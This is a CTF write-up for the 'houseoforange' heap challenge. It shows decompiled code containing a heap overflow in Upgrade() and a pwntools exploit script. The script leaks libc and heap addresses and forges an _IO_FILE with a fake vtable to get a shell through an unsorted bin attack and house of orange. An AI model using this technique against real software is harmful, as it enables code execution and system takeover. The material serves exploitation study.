0x00 Program Overall The program can Build()
, Upgrade()
and See()
the house of orange. In Build()
, the program first malloc a chunk of size 0x10 to store two address, one is color and price, and the other is the name. At the end of the Build()
, a variable on bss will store the new house address and use it in Upgrade()
and See()
. We can use Upgrade()
and See()
to update and see the newest house.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 int Build () { if ( (unsigned int )COUNT > 3 ) { puts ("Too many house" ); exit (1 ); } New_House = malloc (0x10 uLL); printf ("Length of name :" ); size = InputNum(); if ( size > 0x1000 ) size = 4096 ; *((_QWORD *)New_House + 1 ) = malloc (size); if ( !*((_QWORD *)New_House + 1 ) ) { puts ("Malloc error !!!" ); exit (1 ); } printf ("Name :" ); InputString(*((void **)New_House + 1 ), size); new_price = calloc (1u LL, 8u LL); printf ("Price of Orange:" , 8L L); *new_price = InputNum(); Show_Color(); printf ("Color of Orange:" ); Color_Num = InputNum(); if ( Color_Num == 56746 ) new_price[1 ] = 56746 ; else new_price[1 ] = Color_Num + 30 ; *(_QWORD *)New_House = new_price; Last_House = New_House; ++COUNT; return puts ("Finish" ); }
0x01 Program Vulnerabilities When the program calls the Upgrade()
, it allows user to give it the length of the name which leads to heap overflow:
1 2 3 4 5 6 7 8 9 10 11 12 int Upgrade () { printf ("Length of name :" ); v2 = InputNum(); if ( v2 > 0x1000 ) v2 = 4096 ; printf ("Name:" ); InputString((void *)Last_House[1 ], v2); return puts ("Finish" ); }
So, use unsorted bin attack and house of orange to get the shell.
0x02 Pwn! First we need to use heap overflow to trigger _int_free()
in sysmalloc()
to leak the libc address.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def pwn (): p = process('./houseoforange' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) context.log_level = 'debug' Build(p, 0x80 , 'sunichi1' , 0x10 , 1 ) payload = 'B' *0x80 + p64(0 ) + p64(0x21 ) + p32(0x1 ) + p32(0x1f ) + 2 * p64(0 ) + p64(0xf31 ) Upgrade(p, 0x100 , payload, 0x10 , 2 ) Build(p, 0x1000 , 'sunichi2' , 0x10 , 3 ) Build(p, 0x400 , 'x' , 4 , 4 ) See(p) p.recvuntil('house : ' ) libc_addr = p.recv(6 ) libc_addr = u64(libc_addr.ljust(8 , '\x00' )) libc.address = libc_addr - 0x3c4b78 - 0x600 libc_base_addr = libc_addr - 0x3c4b78 - 0x600
Second, leak the heap address.
1 2 3 4 5 6 7 Upgrade(p, 0x400 , '1' * 0x10 , 0x10 , 5 ) See(p) p.recvuntil('1' * 0x10 ) heap_addr = p.recv(6 ) heap_addr = u64(heap_addr.ljust(8 , '\x00' ))
The final step is to construct the a chunk to perform unsorted bin attack and house of orange.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 payload = '' payload = payload.ljust(0x400 , '\x00' ) + p64(0 ) + p64(0x21 ) + p64(0x2300000010 ) + p64(0 ) vtable = heap_addr + 0x410 + 0x20 + 0xc0 + 0x10 + 0x8 fake_stream = '/bin/sh\x00' + p64(0x61 ) + p64(0 ) + p64(libc.symbols['_IO_list_all' ] - 0x10 ) fake_stream = fake_stream.ljust(0xa0 , '\x00' ) fake_stream += p64(heap_addr + 0x410 + 0x20 + 0xc0 + 0x10 ) fake_stream = fake_stream.ljust(0xc0 , '\x00' ) fake_stream += p64(1 ) + 2 * p64(0 ) fake_stream += p64(vtable) payload += fake_stream payload += p64(2 ) payload += p64(3 ) payload += p64(libc.symbols['system' ]) Upgrade(p, len(payload), payload, 0x10 , 6 )
Call Build()
to trigger malloc(0x10)
and get shell.
1 2 3 4 p.recvuntil('Your choice : ' ) p.sendline('1' ) p.interactive() p.close()
Relevant Article https://sunichi.github.io/2018/07/02/pwnable-tw-bookwriter/
http://tacxingxing.com/2018/01/10/house-of-orange/
http://tacxingxing.com/2018/02/09/fsp/